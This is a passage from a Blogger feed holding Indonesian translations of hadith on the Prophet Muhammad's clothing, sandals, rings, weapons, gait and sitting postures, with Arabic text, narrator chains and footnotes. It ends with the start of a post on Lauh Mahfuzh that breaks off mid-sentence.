Dalam sebuah riwayat yang bersumber dari Ibnu `Abbas r.a. dikemukakan: Sesungguhnya Nabi saw. bersabda: "Bercelaklah kalian dengan Itsmid*, karena ia dapat mencerahkan pengliahatan dan menumbuhkan bulu mata."&lt;br /&gt;
Sungguh Nabi saw. Mempunyai tempat celak mata yang digunakannya untuk bercelak pada setiap malam. Tiga olesan di sini dan tiga olesan di sini."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Humaid ar Razi, dari Abu Daud at Thayalisi, dari Abbad bin Manshur, dari Ikrimah yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
* Itsmid adalah batu celak biasanya berupa serbuk. Warnanya hitam atau biru. Serbuk itsmid dioleskan pada bulu mata atau disapukan di sekeliling mata.&lt;br /&gt;
* Yang dimaksud di sini adalah tiga olesan di mata sebelah kanan dan tiga olesan di mata sebelah kiri.&lt;br /&gt;
&lt;br /&gt;
8. pakaian Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أم سلمة، قالت: «كان أحب الثياب إلى رسول الله صلى الله عليه وسلم القميص».&lt;br /&gt;
&lt;br /&gt;
"Pakaian yang paling disenangi Rasulullah saw. adalah Gamis."&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Humaid ar Razi, dari al Fadhal bin Musa, diriwayatkan pula oleh Abu Tamilah dan Zaid bin Habab, ketiganya menerima dari `Abdul Mu'min bin Khalid, dari `Abdullah bin Buraidah, yang bersumber dari Ummu Salamah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك، أن النبي صلى الله عليه وسلم خرج وهو يتكئ على أسامة بن زيد عليه ثوب قطري قد توشح به، فصلى بهم&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. keluar (dari rumahnya) dengan bertelekan kepada `Usamah bin Zaid. Beliau memakai pakaian Qithri yang diselempangkan di atas bahunya, kemudian beliau shalat bersama mereka."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Abd bin Humaid , dari Muhammad bin al Fardhal, dari Hammad bin Salamah, dari Habib bin as Syahid, dari al Hasan, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
* Qithri adalah sejenis kain yang terbuat dari katun yang kasar. Kain ini berasal dari Bahrain tepatnya dari Qathar&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان أحب الثياب إلى رسول الله صلى الله عليه وسلم يلبسه الحبرة».&lt;br /&gt;
Dalam sebuah riwayat Anas bin Malik r.a. mengemukakan: "Pakaian yang paling disenangi Rasulullah saw. ialah kain Hibarah*."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Mu'adz bin Hisyam dari ayahnya, dari Qatadah, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
* Kain Hibarah ialah kain keluaran Yaman yang terbuat dari katun.&lt;br /&gt;
&lt;br /&gt;
عن ابن عباس قال: قال رسول الله صلى الله عليه وسلم: «عليكم بالبياض من الثياب ليلبسها أحياؤكم، وكفنوا فيها موتاكم، فإنها من خير ثيابكم».&lt;br /&gt;
&lt;br /&gt;
."Rasulullah saw. bersabda: "Hendaklah kalian berpakaian putih, untuk dipakai sewaktu hidup. Dan jadikanlah ia kain kafan kalian sewaktu kalian mati. Sebab kain putih itu sebaik- baik pakaian bagi kalian."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id, dari Basyar bin al Mufadhal, dari `Utsman Ibnu Khaitsam, dari Sa'id bin Jubeir, yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
عن سمرة بن جندب قال: قال رسول الله صلى الله عليه وسلم: «البسوا البياض؛ فإنها أطهر وأطيب، وكفنوا فيها موتاكم».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. bersabda : "Pakailah pakaian putih, karena ia lebih suci dan lebih bagus. Juga kafankanlah ia pada orang yang meninggal diantara kalian."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari `Abdurrahman bin Mahdi, dari Sufyan, dari Habib bin Abi Tsabit, dari Maimun bin Abi Syabib yang bersumber dari Samurah bin Jundub r.a.)&lt;br /&gt;
&lt;br /&gt;
9. khuf Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن ابن بريدة، عن أبيه، أن النجاشي أهدى للنبي صلى الله عليه وسلم خفين أسودين ساذجين، فلبسهما ثم توضأ ومسح عليهما.&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya raja *an-Najasyi menghadiahkan sepasang khuf hitam pejat kepada Nabi saw. lalu Nabi saw. memakainya dan kemudian ia berwudlu dengan (hanya) menyapu keduanya (yakni tidak membasuh kaki)."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Hinad bin Siri, dari Waki', dari Dalham bin Shalih, dari Hujair bin `Abdullah, dari putera Buraidah, yang bersumber dari Buraidah r.a.)&lt;br /&gt;
&lt;br /&gt;
* Khuf ialah sejenis kaos kaki tapi terbuat dari kulit binatang. Khuf dibuat amat tipis dan tingginya menutupi mata kaki. Khuf biasanya hanya digunakan pada musim dingin untuk mencegah agar kulit kaki tidak pecah-pecah. Biasanya, orang memakai khuf ketika musafir di musim dingin dan masih memakai sepatu luar lagi.&lt;br /&gt;
Sepatu ini namanya "jurmuq".&lt;br /&gt;
Para Ulama Indonesia sering menggunakan istilah Muzah untuk terjemahan khuf. Tapi kadangkadang diterjemahkan juga dengan "sepatu khuf".&lt;br /&gt;
&lt;br /&gt;
* An najasyi menurut literature barat umumnya disebut Negust. Negust adalah gelar raja-raja di Abesina (Habsyi), sekarang dikenal "Ethiopia".&lt;br /&gt;
&lt;br /&gt;
10. sendal Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن قتادة قال: قلت لأنس بن مالك: كيف كان نعل رسول الله صلى الله عليه وسلم؟ قال: «لهما قبالان».&lt;br /&gt;
&lt;br /&gt;
"Bagaimanakah sandal Rasulullah saw. itu?" Anas menjawab : "Kedua belahnya mempunyai tali qibal*."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Abu Daud at Thayalisi, dari Hamman yang bersumber dari Qatadah)&lt;br /&gt;
* Tali qibal adalah tali sandal yang bersatu pada bagian mukanya dan terjepit di antara dua jari kaki&lt;br /&gt;
&lt;br /&gt;
عن أبي هريرة، أن رسول الله صلى الله عليه وسلم قال: «لا يمشين أحدكم في نعل واحدة، لينعلهما جميعا أو ليحفهما جميعا»&lt;br /&gt;
&lt;br /&gt;
"Janganlah diantara kalian berjalan dengan sandal sebelah. Hendaklah memakai keduanya atau tdk memakai keduanya "&lt;br /&gt;
(Diriwayatkan oleh Ishaq bin Musa al Anshari, dari Ma'an, dari Malik, dari Abiz Zinad, dari al A'raj yang bersumber dari Abu Hurairah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن جابر، أن النبي صلى الله عليه وسلم نهى أن يأكل، يعني الرجل، بشماله، أو يمشي في نعل واحدة.&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. melarang seorang laki-laki makan dengan tangan kiri dan berjalan dengan sandal sebelah."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ishaq bin Musa, dari Ma'an, dari Malik, dari Abi Zubair, yang bersumber dari Jabir r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أبي هريرة، أن النبي صلى الله عليه وسلم قال: «إذا انتعل أحدكم فليبدأ باليمين، وإذا نزع فليبدأ بالشمال، فلتكن اليمين أولهما تنعل وآخرهما تنزع».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. bersabda : "Bila salah seorang diantara kalian hendak memakai sandal hendaklah ia memulainya dari yang sebelah kanan. Dan bila ia melepasnya, maka hendaklah dimulai dari yang sebelah kiri. Hendaklah posisi kanan dijadikan yang pertama kali dipasangi sandaldan yang terakhir kali dilepas."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah, dari Malik, dan diriwayatkan pula oleh Ishaq bin Musa ,dari Ma'an, dari Malik, dari Abu Zinad, dari A'raj yang bersumber dari Abu Hurairah r.a.)&lt;br /&gt;
&lt;br /&gt;
11. cincin Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان خاتم النبي صلى الله عليه وسلم من ورق، وكان فصه حبشيا».&lt;br /&gt;
&lt;br /&gt;
"Cincin Rasulullah saw. terbuat dari perak sedangkan batu matanya dari Abessina (Habsyi)".&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id dan sebagainya, dari `Abdullah bin Wahab, dari Yunus, dari Ibnu Syihab, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «لما أراد رسول الله صلى الله عليه وسلم أن يكتب إلى العجم قيل له: إن العجم لا يقبلون إلا كتابا عليه خاتم، فاصطنع خاتما فكأني أنظر إلى بياضه في كفه».&lt;br /&gt;
&lt;br /&gt;
"Tatkala Rasulullah saw. hendak menulis surat kepada penguasa bangsa `Ajam (asing), kepadanya diberitahukan: "Sungguh bangsa `Ajam tidak akan menerimanya, kecuali surat yang memakai cap. Maka Nabi saw. dibuatkan sebuah cincin (untuk cap surat). Terbayanglah dalam benakku putihnya cincin itu di tangan Rasulullah saw."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ishaq bin Manshur, dari Mu'adz bin Hisyam, dari ayahnya, dari Qatadah, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان نقش خاتم رسول الله صلى الله عليه وسلم: محمد سطر، ورسول سطر، والله سطر».&lt;br /&gt;
&lt;br /&gt;
."Ukiran yang tertera di cincin Rasulullah saw adalah "Muhammad" satu baris ,"Rasul" satu baris, dan "Allah" satu baris".&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Yahya, dari Muhammad bin `abdullah al Anshari, dari ayahnya, dari Tsumamah, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عن ابن عمر قال: «اتخذ رسول الله صلى الله عليه وسلم خاتما من ورق، فكان في يده ثم كان في يد أبي بكر، ويد عمر، ثم كان في يد عثمان، حتى وقع في بئر أريس نقشه: محمد رسول الله».&lt;br /&gt;
&lt;br /&gt;
" rasululloh membuat cincin dari perak, dulu ditangan Rasul, kemudian ditangan abu bakar, dan tangan umar, kemudian ditangan usman hingga terjatuh di sumur aris, ukiran cincin tersebut bertiliskan " Muhammad Rasululloh "&lt;br /&gt;
&lt;br /&gt;
( diriwayatkan oleh ishaq bin mansur dari abdulloh bin numair dari ubaidillah bin umar dari nafi' dari ibnu umar )&lt;br /&gt;
&lt;br /&gt;
12. cara bercincin Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن علي بن أبي طالب: أن النبي صلى الله عليه وسلم كان يلبس خاتمه في يمينه&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. memakai cincin di jari tangan kanannya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Sahl bin `Asakir al Baghdadi, dan diriwayatkan pula oleh `Abdullah bin `Abdurrahman, keduanya menerima dari Yahya bin Hisan, dari Sulaiman bin Bilal, dari Syarik bin `Abdullah bin Abi Namir, dari Ibrahim bin `Abdullah bin Hunain, dari bapaknya, yang bersumber dari `Ali bin Abi Thalib k.w.)&lt;br /&gt;
&lt;br /&gt;
13. pedang Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «كانت قبيعة سيف رسول الله صلى الله عليه وسلم من فضة».&lt;br /&gt;
&lt;br /&gt;
"Salut hulu pedang Rasulullah saw. terbuat dari perak."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Wahab bin Jarir, dari ayahnya dari Qatadah, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عن ابن سيرين قال: «صنعت سيفي على سيف سمرة بن جندب، وزعم سمرة أنه صنع سيفه على سيف رسول الله صلى الله عليه وسلم وكان حنفيا»&lt;br /&gt;
&lt;br /&gt;
"Samurah mengaku bahwa ia membuat pedangnya meniru pedang Rasulullah saw. Sedangkan pedang Rasulullah saw. itu berbentuk Hanafiyya*."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin syuja' al Baghdad, dari Abu `Ubaidah al Haddad, dari `Utsman bin Sa'id, yang bersumber dari Ibnu Sirin r.a.)&lt;br /&gt;
&lt;br /&gt;
* Pedang Hanafiyya adalah pedang yang di buat oleh suku Bani Hanifah. Pedang buatan Bani Hanafiah terkenal bagus dan halus pembuatannya.&lt;br /&gt;
&lt;br /&gt;
14. baju besi Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن السائب بن يزيد، «أن رسول الله صلى الله عليه وسلم كان عليه يوم أحد درعان، قد ظاهر بينهما».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Rasulullah saw. pada waktu ghazwah Uhud memakai dua baju besi. Sungguh beliau memakai keduanya secara rangkap."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ibnu Abi `Umar, dari Shufyan bin `Uyainah, dari Yazid bin Khushaifah, yang bersumber dari Saib bin Yazid)&lt;br /&gt;
&lt;br /&gt;
15. topi besi Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك: أن النبي صلى الله عليه وسلم دخل مكة وعليه مغفر، فقيل له: هذا ابن خطل متعلق بأستار الكعبة، فقال: «اقتلوه».&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"Sewaktu Rasulullah saw. memasuki kota Mekkah (dihari Pembebasan), beliau memakai topi besi. Kemudian ditunjukkan orang kepadanya : `ini Ibnu Khathal* bersembunyi di dinding Ka'bah (disebabkan takut). Nabi saw. bersabda : "Bunuhlah dia!"&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id, dari Malik bin Anas, dari Ibnu Syihab, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
Sebenarnya terjemahan topi besi tersebut kurang tepat sebab yang dimaksud topi besi di sini adalah rantai besi yang dijalin rapi, dibuat dengan ukuran kepala kemudian di pasang di dalam kopiah.&lt;br /&gt;
&lt;br /&gt;
# Ibnu Khatal ialah seorang dari empat penjahat yang amat memusuhi Islam dan tidak mendapatkan pengampunan umum dari Rasulullah saw. Tiga lainnya ialah Huwairits bin Nuqaid, `Abdullah bin Abi Sarh dan Muqais bin Shababah. Namun, sebelum eksekusi, `Abdullah bin Abi Sarh masuk Islam. Dengan demikian `Abdullah bin Abi Sarh selamat dari hukuman.&lt;br /&gt;
16. surban Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن جابر قال: «دخل النبي صلى الله عليه وسلم مكة يوم الفتح وعليه عمامة سوداء».&lt;br /&gt;
&lt;br /&gt;
"Nabi saw. memasuki kota Mekkah pada waktu pembebasan kota Mekkah, beliau memakai serban hitam."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari `Abdurrahman bin Mahdi, dari Hammad bin Salamah. Hadist inipun diriwayatkan pula oleh Mahmud bin Ghailan, dari Waki', dari Hammad bin Salamah, dari Abi Zubair, yang bersumber dari Jabir r.a.)&lt;br /&gt;
&lt;br /&gt;
عن جعفر بن عمرو بن حريث، عن أبيه، «أن النبي صلى الله عليه وسلم خطب الناس وعليه عمامة سوداء».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. berpidato da hadapan umat, beliau memakai serban hitam."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Mahmud bin Ghailan, dan diriwayatkan pula oleh Yusuf bin `Isa, keduanya menerima dari Waki', dari Musawir al Waraq, dari Ja'far bin `Amr bin Huraits,yang bersumber dari bapaknya.)&lt;br /&gt;
&lt;br /&gt;
17. sarung Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أبي بردة قال: أخرجت إلينا عائشة، كساء ملبدا وإزارا غليظا، فقالت: «قبض روح رسول الله صلى الله عليه وسلم في هذين».&lt;br /&gt;
&lt;br /&gt;
"'Aisyah r.a. memperlihatkan kepada kami pakaian yang telah kumal serta sarung yang kasar, seraya berkata :"Rasulullah saw. dicabut ruhnya sewaktu memakai kedua pakaian ini".&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ahmad bin Mani', dari Ismail, dari Ayub, dari Humaid bin Hilal, dari Abi Burdah yang bersumber dari bapaknya).&lt;br /&gt;
&lt;br /&gt;
عن إياس بن سلمة بن الأكوع، عن أبيه قال: كان عثمان بن عفان، يأتزر إلى أنصاف ساقيه، وقال: «هكذا كانت إزرة صاحبي»، يعني النبي صلى الله عليه وسلم.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"'Utsman bin Affan r.a. memakai sarung yang tingginya mencapai setengah betisnya. `Utsman berkata : "Demikianlah cara bersarung sahabatku (yakni Nabi saw.)"&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Suwaid bin Nashr, dari `Abdullah bin al Mubarak, dari Musa bin `Ubaidah, dari Ayas bin Salamah bin al Akwa' yang bersumber dari bapaknya).&lt;br /&gt;
&lt;br /&gt;
عن حذيفة بن اليمان قال: أخذ رسول الله صلى الله عليه وسلم بعضلة ساقي أو ساقه فقال: «هذا موضع الإزار، فإن أبيت فأسفل، فإن أبيت فلا حق للإزار في الكعبين».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. memegang otot betis kakiku dan betis kakinya, lalu bersabda: "inilah tempat batas sarung. Jika kau tidak suka di sini, maka boleh juga diturunkan lagi. Jika kau tidak suka juga, maka tidak ada hak lagi bagi sarungmenutup kedua mata kaki".&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id, dari Abul Ahwash, dari Abi Ishaq, dari Muslim binNadzir, yang bersumber dari Hudzaifah Ibnul Yaman r.a.)&lt;br /&gt;
&lt;br /&gt;
18. cara berjalan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أبي هريرة قال: «ولا رأيت شيئا أحسن من رسول الله صلى الله عليه وسلم كأن الشمس تجري في وجهه، وما رأيت أحدا أسرع في مشيته من رسول الله صلى الله عليه وسلم كأنما الأرض تطوى له إنا لنجهد أنفسنا وإنه لغير مكترث».&lt;br /&gt;
&lt;br /&gt;
"Tiada satupun kulihat lebih indah daripada Rasulullah saw., seolah-olah mentari beredar di wajahnya. Juga tiada seorangpun yang kulihat lebih cepat jalannya daripada Rasulullah saw., seolah-olah bumi ini dilipat-lipat untuknya. sungguh, kami harus bersusah payah melakukan hal itu, sedangkan Rasulullah saw. Tidak mempehatikankan. "&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id, dari Ibnu Luhai'fah, dari Abi Yunus, yang bersumber dari Abu Hurairah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن علي بن أبي طالب قال: «كان النبي صلى الله عليه وسلم إذا مشى تكفأ تكفؤا كأنما ينحط من صبب».&lt;br /&gt;
&lt;br /&gt;
"Bila Nabi saw. berjalan, maka ia berjalan dengan merunduk seakan-akan jalanan menurun."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Shufyan bin Waki', dari ayahnya, dari al Masudi, dari `Utsman bin Muslim bin Hurmuz, dari Nafi' bin Jubair bin Muth'im, yang bersumber dari `Ali bin Abi Thalib k.w.)&lt;br /&gt;
&lt;br /&gt;
19 . kain penyeka Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان رسول الله صلى الله عليه وسلم يكثر القناع كأن ثوبه ثوب زيات».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw.sering menyeka (minyak di kepalanya), seakan-akan kain penyeka kepalanya seperti kain penyeka tukang minyak."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Yusuf bin `Isa, dari Waki', dari Rabi' bin Shabih, dari *Yazid bin Aban ar Raqasi, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
# Yazid bin Aban ar Raqasy dikenal sebagai orang yang dinilai munkar periwatannya. Hadits ini sangat berlawanan dengan hadist Shahih, yang menerangkan tentang kebersihan dan penampilan terpuji dari Rasulullah saw. (Muhammad `Afif az Za'bi)&lt;br /&gt;
&lt;br /&gt;
20. sikap duduk Rasululloh&lt;br /&gt;
&lt;br /&gt;
أنها رأت رسول الله صلى الله عليه وسلم في المسجد وهو قاعد القرفصاء قالت: «فلما رأيت رسول الله صلى الله عليه وسلم المتخشع في الجلسة أرعدت من الفرق».&lt;br /&gt;
&lt;br /&gt;
"Ia (Qabilah) melihat Rasulullah saw. di masjid sedang duduk *qurfasha."&lt;br /&gt;
Qabilah berkata :"Manakala aku melihat Rasulullah saw. sedang duduk dengan khusyu', maka akupun dibawa oleh perasaan takjub karena wibawanya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh'Abd bin Humaid, dari `Affan bin Muslim, dari `Abdullah bin Hasan, dari kedua orang anaknya, yang bersumber dari Qabilah binti Makhramah)&lt;br /&gt;
&lt;br /&gt;
• Duduk Qurfasha yakni duduk bertumpu pada pinggul, kedua paha merapat ke perut dan tangan memegang betis.&lt;br /&gt;
&lt;br /&gt;
عن عمه، «أنه رأى النبي صلى الله عليه وسلم مستلقيا في المسجد واضعا إحدى رجليه على الأخرى».&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya ia melihat Rasulullah saw. berbaring telentang di masjid, dan salah satu kakinya ditumpangkan pada kaki lainnya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Sa'id bin `Abdurrahman al Makhzumi dan lainnya, mereka menerima dari Sufyan, dari Zuhri, dari `Abbad bin Tamim yang bersumber dari pamannya*)&lt;br /&gt;
&lt;br /&gt;
• Ia adalah `Abdullah bin Zaid bin `Ashim bin Muhammad, ia adalah seorang sahabat dan dikatakan bahwa ia yang membunuh Musailamah al Kadzdzab (Nabi palsu)&lt;br /&gt;
&lt;br /&gt;
عن جده أبي سعيد الخدري قال: «كان رسول الله صلى الله عليه وسلم إذا جلس في المسجد احتبى بيديه».&lt;br /&gt;
&lt;br /&gt;
"Apabila Rasulullah saw. duduk di *masjid, maka ia duduk secara *ihtiba dengan kedua tangannya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Salamah bin Syabib, dari `Abdullah bin Ibrahim al Madini, dari Ishaq bin Muhammad al Anshari, dari Rabih bin `Abdurrahman bin Abi Sa'id, dari bapaknya yang bersumber dari kakeknya Abi Sa'id al Khudri r.a)&lt;br /&gt;
&lt;br /&gt;
• Ihtaba adalah duduk Qurfasha sambil bersandar&lt;br /&gt;
&lt;br /&gt;
21. tempat bertelekan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن جابر بن سمرة قال: «رأيت رسول الله صلى الله عليه وسلم متكئا على وسادة على يساره».&lt;br /&gt;
&lt;br /&gt;
"Aku pernah melihat Rasulullah saw. duduk bertelekan pada sebuah bantal di sebelah kirinya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Abbas bin Muhammad ad Dauri al Baghdadi, dari Ishaq bin Manshur, dari Israil, dari simak bin Harb, yang bersumber dari Jabir bin Samurah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن علي بن الأقمر قال: سمعت أبا جحيفة يقول: قال رسول الله صلى الله عليه وسلم: «لا آكل متكئا».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. bersabda : "Aku tak mau makan sambil bertelekan "&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari `Abdurrahman bin Mahdi, dari Sufyan, dari `Ali bin al `Aqmar, yang bersumber dari Abu Juhaifah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن جابر بن سمرة قال: «رأيت النبي صلى الله عليه وسلم متكئا على وسادة»&lt;br /&gt;
&lt;br /&gt;
"Aku melihat Rasulullah saw. duduk bertelekan pada sebuah bantal."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Yusuf bin `Isa, dari Waki', dari Ismail, dari Simak bin Harb, yang bersumber dari Jabir bin Samurah r.a.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lanjut.....ke bagian 2 ....&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>KITAB LAUH MAHFUD </title><link>http://alifbraja.blogspot.com/2013/08/kitab-lauh-mahfud.html</link><pubDate>Sat, 17 Aug 2013 20:41:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-3506700342251673582</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
&lt;br style="color: #134f5c;" /&gt;&lt;span style="color: blue;"&gt;بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lauh Mahfuzh (Kitab Terpelihara)&lt;br /&gt;Lauh
 Mahfuzh (Arab: لَوْحٍ مَحْفُوظٍ) adalah kitab tempat Allah menuliskan 
segala seluruh skenario/ catatan kejadian di alam semesta. Lauh Mahfuzh 
disebut didalam Al-Qur'an sebanyak 13 kali diantaranya adalah dalam 
surah Az-Zukhruf 43: 4, Qaf 50: 4, An-Naml 27: 75 dan lainnya. Nama lain
 dari Lauh Mahfuzh berdasarkan Al-Qur'an adalah sebagai berikut:Induk 
Kitab (أم الكتاب, Ummu al-Kitab),Kitab yang Terpelihara (كِتَابٍ 
مَّكْنُونٍ , Kitabbim Maknuun).“ ...pada kitab yang terpelihara (Lauhul 
Mahfuzh),...(Al-Waaqi'ah, 56:78) ”&lt;br /&gt;Kitab yang Nyata (كِتَابٍ مُّبِينٍ
 , Kitabbim Mubiin).“ Tiada sesuatu pun yang ghaib di langit dan di 
bumi, melainkan (terdapat) dalam kitab yang nyata (Lauh Mahfuzh). (An 
Naml, 27:75) ”&lt;br /&gt;&lt;br /&gt;Surah Al Hajj 70&lt;br /&gt;&amp;nbsp;&lt;span style="color: #20124d;"&gt;&lt;span style="color: blue;"&gt;أَلَمْ
 تَعْلَمْ أَنَّ اللَّهَ يَعْلَمُ مَا فِي السَّمَاءِ وَالْأَرْضِ إِنَّ 
ذَلِكَ فِي كِتَابٍ إِنَّ ذَلِكَ عَلَى اللَّهِ يَسِيرٌ (70&lt;/span&gt;)&lt;/span&gt;&lt;br /&gt;Ayat
 ini menegaskan kepada Nabi Muhammad saw, tentang keluasan ilmu Allah. 
Sekalipun Nabi Muhammad yang dituju dalam ayat ini termasuk di dalamnya 
seluruh umatnya. Seakan-akan Allah mengatakan kepadanya, "Apakah engkau 
tidak mengetahui hai Muhammad, bahwa ilmu Allah itu amat luas, meliputi 
segala apa yang ada di langit dan segala apa yang ada di bumi, tidak ada
 sesuatupun yang luput dari ilmu-Nya itu, walaupun barang itu sebesar 
zarah (atom) atau lebih kecil lagi dari atom itu, bahkan Dia mengetahui 
segala yang tergores di dalam hati manusia. Semua ilmu Allah itu 
tertulis di Lohmahfuz, ialah suatu kitab yang di dalamnya disebutkan 
segala yang ada dan kitab itu telah ada dan lengkap mempunyai catatan 
sebelum Allah SWT menciptakan langit dan bumi. Menurut Abu Muslim 
AlAsfihani: yang dimaksud dengan kitab dalam ayat ini ialah pemeliharaan
 sesuatu dan pencatatannya dengan sempurna. Tidak ada sesuatu yang tidak
 terdapat di dalamnya. Hal inilah yang merupakan ilmu Allah. Pengetahuan
 yang amat sempurna dan pencatatan yang lengkap tentang segala sesuatu 
serta penetapan hukum yang akan dijadikan bahan pengadilan di akhirat 
kelak tidaklah sukar bagi Allah. Dia menetapkan sesuatu di akhirat nanti
 dengan seadil-adilnya, karena segala macam yang dijadikan bahan 
pertimbangan telah ada pada-Nya tidak ada yang kurang sedikitpun.&lt;br style="color: #7f6000;" /&gt;&lt;span style="color: blue;"&gt;وَمَا
 تَكُونُ فِي شَأْنٍ وَمَا تَتْلُو مِنْهُ مِن قُرْآنٍ وَلَا تَعْمَلُونَ 
مِنْ عَمَلٍ إِلَّا كُنَّا عَلَيْكُمْ شُهُودًا إِذْ تُفِيضُونَ فِيهِ 
وَمَا يَعْزُبُ عَن رَّبِّكَ مِن مِّثْقَالِ ذَرَّةٍ فِي الْأَرْضِ وَلَا 
فِي السَّمَاءِ وَلَا أَصْغَرَ مِن ذَٰلِكَ وَلَا أَكْبَرَ إِلَّا فِي 
كِتَابٍ مُّبِينٍ&lt;/span&gt;Kamu tidak berada dalam suatu keadaan dan tidak 
membaca suatu ayat dari Al Quran dan kamu tidak mengerjakan suatu 
pekerjaan, melainkan Kami menjadi saksi atasmu di waktu kamu 
melakukannya. Tidak luput dari pengetahuan Tuhanmu biarpun sebesar 
zarrah (atom) di bumi ataupun di langit. Tidak ada yang lebih kecil dan 
tidak (pula) yang lebih besar dari itu, melainkan (semua tercatat) dalam
 kitab yang nyata (Lauh Mahfuzh). (Yunus: 61)&lt;br /&gt;Allah swt. menyeru 
Rasul-Nya dan umat manusia yang menaatinya, bahwa pada saat Rasulullah 
melaksanakan urusan yang penting yang menyangkut masyarakat pada saat 
membacakan ayat-ayat Alquran yang mengatur semua urusan itu dan pada 
saat manusia melaksanakan amal perbuatannya tidak ada yang terlepas dari
